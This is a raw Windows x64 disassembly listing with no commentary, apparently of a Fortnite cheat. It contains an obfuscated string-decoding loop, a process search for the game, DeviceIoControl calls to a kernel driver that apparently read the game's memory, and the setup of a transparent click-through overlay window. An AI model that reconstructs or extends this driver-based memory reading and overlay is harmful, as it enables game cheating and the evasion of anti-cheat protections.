mov dword [rbp + 0x10c], 0x4ff641ed
mov dword [rbp + 0x110], 0x4b4a4de1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x114], xmm0
mov byte [rbp + 0x124], al
movabs rsi, 0x5d8eea2608ddc43e
movabs r12, 0xc9da4e0cad9f416a
movabs r15, 0xf143863f641c4712
movzx edi, byte [rbp + 0x1e8]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r14
cmp r10, 0x55
jae 0x14009895e
movzx r9d, byte [rbp + r10 + 0xd0]
mov r11d, r9d
nop dword [rax]
cmp rbx, r10
ja 0x140098955
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x14009822c
lea rcx, [r10 + r12]
mov eax, r9d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x1a
jmp 0x140098250
je 0x1400988de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098881
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140098860
nop dword [rax]
cmp r8, r10
ja 0x14009894c
cmp rbx, rdx
jae 0x14009827a
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400982b0
je 0x140098812
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400987ee
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400987bb
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140098776
nop word [rax + rax]
lea r11, [r8 + rbx]
cmp r11, r10
jbe 0x140098449
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140098437
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14009840f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400983ee
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400982c0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 9]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14009892c
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14009890f
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400983c8
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140098397
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14009837c
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140098358
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0xa]
jmp 0x1400982c0
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
inc r8
dec r10
inc r10
jmp 0x1400981e3
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14009889b
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
mov byte [rbp + r10 + 0xd0], dil
inc r10
jmp 0x1400981e3
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x1400981e3
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400981e3
lea edx, [r10 - 0x74]
mov ecx, socket
movzx r11d, r10b
jmp 0x14009881f
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140098501
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r11, 0x41
je 0x140098753
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x1400985b7
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 3
jae 0x140098708
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140098651
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x5a
jb 0x1400983de
movzx r11d, r10b
lea ecx, [r11 + 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x48]
jmp 0x140098830
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009853b
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009855f
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400987d5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140098585
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
movzx r11d, r10b
jmp 0x140098723
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140098470
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400981e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400985d2
movzx r11d, r10b
lea edx, [r11 + 0x16]
mov ecx, 0x33
jmp 0x14009881f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400985fc
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
dec r10
inc r10
jmp 0x1400981e3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140098613
lea edx, [r10 + 0x3a]
mov ecx, gethostname
jmp 0x1400987c4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400984a4
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140098687
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400986af
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx edx, r10b
jmp 0x14009878f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400986da
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400987d5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400984d5
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x1400981e3
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
add dil, r9b
add r11b, 0x7a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x56
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0xd0], r11b
add rbx, r8
jmp 0x1400987d5
movzx edx, r10b
lea ecx, [rdx - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0xd0]
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x14009878f
movzx edx, r10b
lea ecx, [rdx + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
add dl, 0x4e
movzx eax, dl
and al, r9b
add al, al
sub dl, al
sub dl, 0x22
add dl, r9b
movzx eax, dl
mov byte [rbp + r10 + 0xd0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14009889b
lea edx, [r10 - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400981e3
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
inc r8
dec r10
inc r10
jmp 0x1400981e3
movzx r11d, r10b
lea edx, [r11 - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x5a
movzx eax, r9b
and al, r11b
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0xd0], cl
inc r8
dec r10
inc r10
jmp 0x1400981e3
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
dec r10
inc r10
jmp 0x1400981e3
lea rdx, [r10 + r15]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
add dil, dl
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 8
add cl, r9b
mov byte [rbp + r10 + 0xd0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
lea rdx, [r10 + rsi]
movzx eax, dl
and al, r11b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0xd0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400981e3
add r10b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
jmp 0x1400981e0
add r10b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400981c6
lea rdi, [rbp + 0x17ff408]
jmp 0x140098965
lea rdi, [rbp + 0x5f3572]
jmp 0x140098965
lea rdi, [rbp + 0xd0]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x230], 0x238
lea rdx, [rbp + 0x230]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400989c7
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x25c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400989fc
lea rdx, [rbp + 0x230]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400989a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401de1d8], r14d
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Could_not_find_fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x238]
mov dword [0x1401de1d8], eax
test eax, eax
je 0x1400989d7
call fcn.140057260
mov byte [rbp + 0x1e8], 0
mov eax, dword [0x1401de1d8]
mov dword [rbp + 0x1c8], eax
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x1d0], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1c8]
mov edx, 0x22ec08
mov rcx, qword [0x1401de1d0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movzx eax, byte [rbp + 0x1e8]
mov qword [0x1401de1c8], rax
mov qword [rbp + 0x1f8], r14
movdqa xmm0, xmmword [0x14014a0f0]
movdqu xmmword [rbp + 0x1d8], xmm0
mov eax, dword [0x1401de1d8]
mov dword [rbp + 0x1dc], eax
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0x1e0], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1d8]
mov edx, 0x22ec04
mov rcx, qword [0x1401de1d0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, qword [rbp + 0x1f8]
mov qword [0x1401de1c0], rcx
mov edi, r14d
nop
movsxd rax, edi
add rcx, rax
mov qword [0x1401de1e8], rcx
add rcx, qword [0x1401dc718]
call fcn.1400424e0
mov rbx, rax
mov rcx, qword [0x1401dc778]
add rcx, rax
call fcn.1400424e0
test rbx, rbx
je 0x140098b39
test rax, rax
je 0x140098b39
mov rcx, qword [0x1401dc780]
add rcx, rax
call fcn.1400424e0
cmp rax, rbx
je 0x140098b54
inc r14d
add edi, 0x1000
cmp r14d, 0x7fffffff
jge 0x140098b54
mov rcx, qword [0x1401de1c0]
jmp 0x140098af0
mov rcx, qword [0x1401de350]
test rcx, rcx
jne 0x140098b83
call fcn.14004f7a0
mov qword [0x1401de350], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1401de350]
test rcx, rcx
je 0x140098b60
movdqa xmm0, xmmword [0x14014a100]
movdqu xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 5
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401de350]
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.1400531d0
call fcn.1400762f0
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x140098c79
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140098c74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140098c74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013d7b8
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.14013dc30
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret